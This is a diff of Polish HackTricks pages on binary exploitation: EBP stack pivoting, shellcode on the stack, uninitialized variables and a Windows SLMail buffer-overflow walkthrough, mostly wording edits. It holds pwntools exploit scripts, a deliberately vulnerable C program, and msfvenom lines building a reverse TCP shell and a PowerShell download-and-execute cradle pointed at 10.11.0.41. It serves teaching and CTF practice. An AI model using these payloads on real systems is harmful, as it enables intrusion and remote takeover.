* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
|
||||
* 64 bity, brak ASLR
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
|
||||
* 32 bity, brak ASLR, podwójne małe przepełnienie, pierwsze do przepełnienia stosu i zwiększenia rozmiaru drugiego przepełnienia
|
||||
* 32 bity, brak ASLR, podwójne małe przepełnienie, najpierw przepełnienie stosu i zwiększenie rozmiaru drugiego przepełnienia
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bity, relro, brak kanarków, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
|
||||
* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
|
||||
* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win
|
||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
|
||||
* Program sprawdza tylko ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego można dodać dowolny rozmiar, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście powoduje przepełnienie bufora wykorzystane z ret2win.
|
||||
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
* 64 bity, relro, brak canary, nx, pie. Częściowe nadpisanie w celu wywołania funkcji win (ret2win)
|
||||
|
|
|
|||
|
|
@ -16,22 +16,22 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
Ta technika wykorzystuje możliwość manipulowania **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji `leave; ret`.
|
||||
Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji **`leave; ret`**.
|
||||
|
||||
Jako przypomnienie, **`leave`** oznacza w zasadzie:
|
||||
```
|
||||
movl %ebp, %esp
|
||||
popl %ebp
|
||||
mov ebp, esp
|
||||
pop ebp
|
||||
ret
|
||||
```
|
||||
I ponieważ **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonania.
|
||||
Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
|
||||
|
||||
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **efektywnie wskazując na adres przechowywany przez atakującego.**\
|
||||
Zauważ, że **musisz znać 2 adresy**: Ten, gdzie ma trafić ESP, gdzie będziesz musiał zapisać adres wskazywany przez ESP.
|
||||
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego kodu powłoki (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **efektywnie wskazując na adres przechowywany przez atakującego.**\
|
||||
Zauważ, że musisz znać **2 adresy**: Ten, gdzie ma trafić ESP, gdzie będziesz musiał zapisać adres wskazywany przez ESP.
|
||||
|
||||
#### Konstrukcja ataku
|
||||
|
||||
|
|
@ -40,35 +40,35 @@ Najpierw musisz znać **adres, gdzie możesz zapisać dowolne dane / adresy**. E
|
|||
Następnie musisz znać adres używany przez `ret`, który **wykona kod dowolny**. Możesz użyć:
|
||||
|
||||
* Prawidłowy adres [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
|
||||
* Adres **`system()`** poprzedzony **4 losowymi bajtami** i adresem `"/bin/sh"` (x86 bity).
|
||||
* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg/)) poprzedzony **shellcodem** do wykonania.
|
||||
* Adres **`system()`** poprzedzony **4 niepotrzebnymi bajtami** i adresem `"/bin/sh"` (bity x86).
|
||||
* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) poprzedzony **kodem powłoki** do wykonania.
|
||||
* Kilka łańcuchów [**ROP**](../rop-return-oriented-programing/).
|
||||
|
||||
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** ze względu na część **`pop`** instrukcji `leave`. Można byłoby wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania.
|
||||
Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Można byłoby wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania.
|
||||
|
||||
#### Exploit Off-By-One
|
||||
#### Atak Off-By-One
|
||||
|
||||
Istnieje specyficzna wersja tej techniki znana jako "Exploit Off-By-One". Jest używana, gdy można **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres do skoku z **`ret`** musi dzielić trzy pierwsze bajty z EBP, co pozwala na podobną manipulację przy bardziej ograniczonych warunkach.\
|
||||
Istnieje specyficzna wersja tej techniki znana jako "Atak Off-By-One". Jest używana, gdy można **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres do skoku z **`ret`** musi dzielić trzy pierwsze bajty z EBP, co pozwala na podobną manipulację przy bardziej ograniczonych warunkach.\
|
||||
Zazwyczaj modyfikuje się bajt 0x00, aby skoczyć jak najdalej.
|
||||
|
||||
Ponadto, często stosuje się ślizgak `RET` na stosie i umieszcza prawdziwą łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do ślizgaka RET, a ostateczna łańcuch ROP zostanie wykonana.
|
||||
Jest również powszechne użycie ślizgu RET na stosie i umieszczenie prawdziwego łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do środka RET SLED, a ostateczny łańcuch ROP zostanie wykonany.
|
||||
|
||||
### **Łańcuchowanie EBP**
|
||||
|
||||
Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
|
||||
Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu do `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
|
||||
|
||||
Teraz **`ESP`** jest kontrolowany wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:
|
||||
Teraz **`ESP`** jest kontrolowany, wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:
|
||||
|
||||
* **`&(następny fałszywy EBP)`** -> Wczytaj nowy EBP z powodu `pop ebp` z instrukcji `leave`
|
||||
* **`system()`** -> Wywołane przez `ret`
|
||||
* **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie
|
||||
* **`&("/bin/sh")`**-> Parametr dla `system`
|
||||
|
||||
W zasadzie w ten sposób można łańcuchować kilka fałszywych EBPs, aby kontrolować przepływ programu.
|
||||
W ten sposób można łańcuchować kilka fałszywych EBPs, aby kontrolować przepływ programu.
|
||||
|
||||
Tbh, to jest jak [ret2lib](../rop-return-oriented-programing/ret2lib/), ale bardziej złożone bez oczywistej korzyści, ale może być interesujące w niektórych skrajnych przypadkach.
|
||||
To jest podobne do [ret2lib](../rop-return-oriented-programing/ret2lib/), ale bardziej złożone bez oczywistej korzyści, ale może być interesujące w niektórych skrajnych przypadkach.
|
||||
|
||||
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu** do wywołania funkcji wygrywającej. To jest ostateczny ładunek ze strony:
|
||||
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać funkcję wygrywającą. To jest ostateczny ładunek ze strony:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -106,7 +106,7 @@ print(p.recvline())
|
|||
```
|
||||
## EBP może nie być używany
|
||||
|
||||
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też jakiekolwiek wykorzystanie działające poprzez kontrolę EBP zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.\
|
||||
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też jakiekolwiek wykorzystanie, które działa poprzez kontrolę EBP, zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.\
|
||||
Dzieje się tak, ponieważ **prolog i epilog ulegają zmianie**, jeśli binarny jest zoptymalizowany.
|
||||
|
||||
* **Niezoptymalizowany:**
|
||||
|
|
@ -120,7 +120,7 @@ sub $0x100,%esp # increase stack size
|
|||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
* **Zoptymalizowany:**
|
||||
* **Zoptymalizowane:**
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
sub $0x100,%esp # increase stack size
|
||||
|
|
@ -179,18 +179,18 @@ pause()
|
|||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
### xchg \<rej>, rsp gadzet
|
||||
### xchg \<reg>, rsp gadzet
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
xchg <rag>, rsp
|
||||
xchg <reg>, rsp
|
||||
```
|
||||
### jmp esp
|
||||
|
||||
Sprawdź technikę ret2esp tutaj:
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg/" %}
|
||||
[ret2esp-ret2reg](../rop-return-oriented-programing/ret2esp-ret2reg/)
|
||||
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
|
||||
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referencje i Inne Przykłady
|
||||
|
|
@ -200,4 +200,4 @@ Sprawdź technikę ret2esp tutaj:
|
|||
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
|
||||
* 64 bity, eksploatacja off by one z łańcuchem rop zaczynającym się od ret sled
|
||||
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
|
||||
* 64 bity, brak relro, canary, nx i pie. Program zapewnia wyciek stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby utworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisany łańcuch ROP w .bss i kończy się jego wywołaniem, obracając z RBP.
|
||||
* 64 bity, brak relro, canary, nx i pie. Program udostępnia wyciek stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisany łańcuch ROP w .bss i kończy się jego wywołaniem, obracając się z RBP.
|
||||
|
|
|
|||
|
|
@ -1,22 +1,22 @@
|
|||
# Kod Shellcode na stosie
|
||||
# Kod Shellcode na Stosie
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
## Podstawowe Informacje
|
||||
|
||||
**Kod shellcode na stosie** to technika używana w eksploatacji binarnej, gdzie atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowany opis procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**.
|
||||
**Kod shellcode na stosie** to technika używana w **eksploatacji binarnej**, gdzie atakujący zapisuje shellcode do stosu podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowanie procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**.
|
||||
|
||||
### Przykład w języku C: Podatny Program
|
||||
|
||||
|
|
@ -40,14 +40,14 @@ Ten program jest podatny na przepełnienie bufora ze względu na użycie funkcji
|
|||
|
||||
### Kompilacja
|
||||
|
||||
Aby skompilować ten program wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), można użyć następującej komendy:
|
||||
Aby skompilować ten program wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), możesz użyć następującej komendy:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-fno-stack-protector`: Wyłącza ochronę stosu.
|
||||
* `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie.
|
||||
* `-no-pie`: Wyłącza wykonywalność plików o pozycji niezależnej od adresu, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode.
|
||||
* `-m32`: Kompiluje program jako plik wykonywalny 32-bitowy, często używany ze względu na prostotę w tworzeniu exploitów.
|
||||
* `-no-pie`: Wyłącza wykonywalność niezależną od pozycji, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode.
|
||||
* `-m32`: Kompiluje program jako wykonywalny 32-bitowy plik, często używany ze względu na prostotę w tworzeniu exploitów.
|
||||
|
||||
### Python Exploit z użyciem Pwntools
|
||||
|
||||
|
|
@ -84,19 +84,19 @@ Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu powło
|
|||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **powinien być wyłączony**, aby adres był niezawodny podczas kolejnych wykonan lub adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **powinien być wyłączony**, aby adres był niezawodny w różnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
|
||||
* [**Kanarki stosu**](../common-binary-protections-and-bypasses/stack-canaries/) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) ochrona **stosu** uniemożliwi wykonanie kodu powłoki wewnątrz stosu, ponieważ ta część nie będzie wykonawalna.
|
||||
|
||||
## Inne Przykłady i Referencje
|
||||
## Inne przykłady i odnośniki
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
|
||||
* 64-bitowy, ASLR z wyciekiem adresu stosu, zapisz kod powłoki i skocz do niego
|
||||
* 64-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
|
||||
* 32-bitowy, ASLR z wyciekiem adresu stosu, zapisz kod powłoki i skocz do niego
|
||||
* 32-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
|
||||
* 32-bitowy, ASLR z wyciekiem adresu stosu, porównanie w celu zapobieżenia wywołaniu exit(), nadpisz zmienną wartością, zapisz kod powłoki i skocz do niego
|
||||
* 32-bitowy, ASLR z wyciekiem adresu stosu, porównanie w celu zapobieżenia wywołaniu exit(), nadpisanie zmiennej wartością, napisz kod powłoki i skocz do niego
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
|
|
@ -7,7 +7,7 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
|
@ -19,14 +19,14 @@ Inne sposoby wsparcia HackTricks:
|
|||
Główna idea polega na zrozumieniu, co dzieje się z **niezainicjowanymi zmiennymi, ponieważ będą one miały wartość, która była już przypisana do pamięci.** Przykład:
|
||||
|
||||
* **Funkcja 1: `initializeVariable`**: Deklarujemy zmienną `x` i przypisujemy jej wartość, powiedzmy `0x1234`. Ta czynność jest podobna do zarezerwowania miejsca w pamięci i umieszczenia w nim określonej wartości.
|
||||
* **Funkcja 2: `useUninitializedVariable`**: Tutaj deklarujemy inną zmienną `y`, ale nie przypisujemy jej żadnej wartości. W języku C niezainicjowane zmienne nie są automatycznie ustawiane na zero. Zamiast tego zachowują wartość, która była ostatnio przechowywana pod ich adresem pamięci.
|
||||
* **Funkcja 2: `useUninitializedVariable`**: Tutaj deklarujemy inną zmienną `y`, ale nie przypisujemy jej żadnej wartości. W języku C niezainicjowane zmienne nie są automatycznie ustawiane na zero. Zamiast tego zachowują ostatnią wartość przechowywaną na swojej lokalizacji w pamięci.
|
||||
|
||||
Gdy uruchamiamy te dwie funkcje sekwencyjnie:
|
||||
Gdy uruchamiamy te dwie funkcje **sekwencyjnie**:
|
||||
|
||||
1. W `initializeVariable`, `x` otrzymuje wartość (`0x1234`), która zajmuje określony adres pamięci.
|
||||
2. W `useUninitializedVariable`, `y` jest deklarowane, ale nie otrzymuje wartości, więc zajmuje miejsce pamięci bezpośrednio po `x`. Ze względu na brak inicjalizacji `y`, kończy się "dziedziczeniem" wartości z tego samego miejsca pamięci używanego przez `x`, ponieważ jest to ostatnia wartość, która tam była.
|
||||
1. W `initializeVariable`, `x` otrzymuje wartość (`0x1234`), zajmując określony adres pamięci.
|
||||
2. W `useUninitializedVariable`, `y` jest deklarowane, ale nie otrzymuje wartości, więc zajmuje miejsce pamięci bezpośrednio po `x`. Ze względu na brak inicjalizacji `y`, kończy się "dziedziczeniem" wartości z tej samej lokalizacji pamięci używanej przez `x`, ponieważ jest to ostatnia wartość, która tam była.
|
||||
|
||||
To zachowanie ilustruje kluczowe pojęcie w programowaniu niskopoziomowym: **Zarządzanie pamięcią jest kluczowe**, a niezainicjowane zmienne mogą prowadzić do nieprzewidywalnego zachowania lub podatności na bezpieczeństwo, ponieważ mogą nieumyślnie przechowywać wrażliwe dane pozostawione w pamięci.
|
||||
To zachowanie ilustruje kluczowe pojęcie w programowaniu niskopoziomowym: **Zarządzanie pamięcią jest kluczowe**, a niezainicjowane zmienne mogą prowadzić do nieprzewidywalnego zachowania lub podatności na zagrożenia bezpieczeństwa, ponieważ mogą nieumyślnie przechowywać wrażliwe dane pozostawione w pamięci.
|
||||
|
||||
### Przykład
|
||||
```c
|
||||
|
|
@ -61,5 +61,5 @@ return 0;
|
|||
#### Jak to działa:
|
||||
|
||||
* **Funkcja `initializeAndPrint`**: Ta funkcja deklaruje zmienną całkowitą `initializedVar`, przypisuje jej wartość `100`, a następnie drukuje zarówno adres pamięci, jak i wartość zmiennej. Ten krok jest prosty i pokazuje, jak zachowuje się zmienna zainicjowana.
|
||||
* **Funkcja `demonstrateUninitializedVar`**: W tej funkcji deklarujemy zmienną całkowitą `uninitializedVar` bez inicjalizacji. Gdy próbujemy wydrukować jej wartość, wynik może pokazać losową liczbę. Ta liczba reprezentuje dane, które wcześniej znajdowały się pod tym adresem pamięci. W zależności od środowiska i kompilatora, rzeczywisty wynik może się różnić, a czasami, dla bezpieczeństwa, niektóre kompilatory mogą automatycznie inicjować zmienne na zero, chociaż nie należy polegać na tym.
|
||||
* **Funkcja `demonstrateUninitializedVar`**: W tej funkcji deklarujemy zmienną całkowitą `uninitializedVar` bez jej inicjalizacji. Gdy próbujemy wydrukować jej wartość, wynik może pokazać losową liczbę. Ta liczba reprezentuje dane, które wcześniej znajdowały się pod tym adresem pamięci. W zależności od środowiska i kompilatora, rzeczywisty wynik może się różnić, a czasami, dla bezpieczeństwa, niektóre kompilatory mogą automatycznie inicjować zmienne na zero, chociaż nie należy polegać na tym.
|
||||
* **Funkcja `main`**: Funkcja `main` wywołuje obie powyższe funkcje sekwencyjnie, demonstrując różnicę między zainicjowaną zmienną a niezainicjowaną.
|
||||
|
|
|
|||
|
|
@ -24,7 +24,7 @@ net start slmail
|
|||
```
|
||||
.png>)
|
||||
|
||||
## Bardzo podstawowy szablon exploitu w Pythonie
|
||||
## Bardzo podstawowy szablon eksploatacji w Pythonie
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
|
|
@ -90,7 +90,7 @@ Sprawdź to, modyfikując bufor exploitu:
|
|||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
Z tym buforem EIP, który uległ awarii, powinien wskazywać na 42424242 ("BBBB")
|
||||
Z tym buforem EIP uległ awarii powinien wskazywać na 42424242 ("BBBB")
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -142,7 +142,7 @@ buffer = 'A'*2606 + 'BBBB' + badchars
|
|||
```
|
||||
Badchars zaczyniają się od 0x01, ponieważ 0x00 jest prawie zawsze szkodliwy.
|
||||
|
||||
Wykonaj eksplorację wielokrotnie z tym nowym buforem, usuwając znaki, które okazały się być bezużyteczne:.
|
||||
Wykonaj powtórnie exploit z tą nową buforem, usuwając znaki, które okazały się być bezużyteczne:.
|
||||
|
||||
Na przykład:
|
||||
|
||||
|
|
@ -179,9 +179,9 @@ Teraz, w tej pamięci powinieneś znaleźć bajty JMP ESP, aby to zrobić wykona
|
|||
|
||||
.png>)
|
||||
|
||||
**W tym przypadku, na przykład: \_0x5f4a358f**\_
|
||||
**W tym przypadku, na przykład: \_0x5f4a358f**\_
|
||||
|
||||
## Utwórz shellcode
|
||||
## Stwórz shellcode
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
|
|
@ -238,13 +238,13 @@ except:
|
|||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Istnieją shellkody, które **nadpisują same siebie**, dlatego zawsze ważne jest dodanie kilku NOP-ów przed shellcodem.
|
||||
Istnieją shellkody, które **nadpisują same siebie**, dlatego zawsze ważne jest dodanie kilku instrukcji NOP przed shellcodem
|
||||
{% endhint %}
|
||||
|
||||
## Poprawa shellcodu
|
||||
|
||||
Dodaj te parametry:
|
||||
```
|
||||
```bash
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
<details>
|
||||
|
|
@ -257,6 +257,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
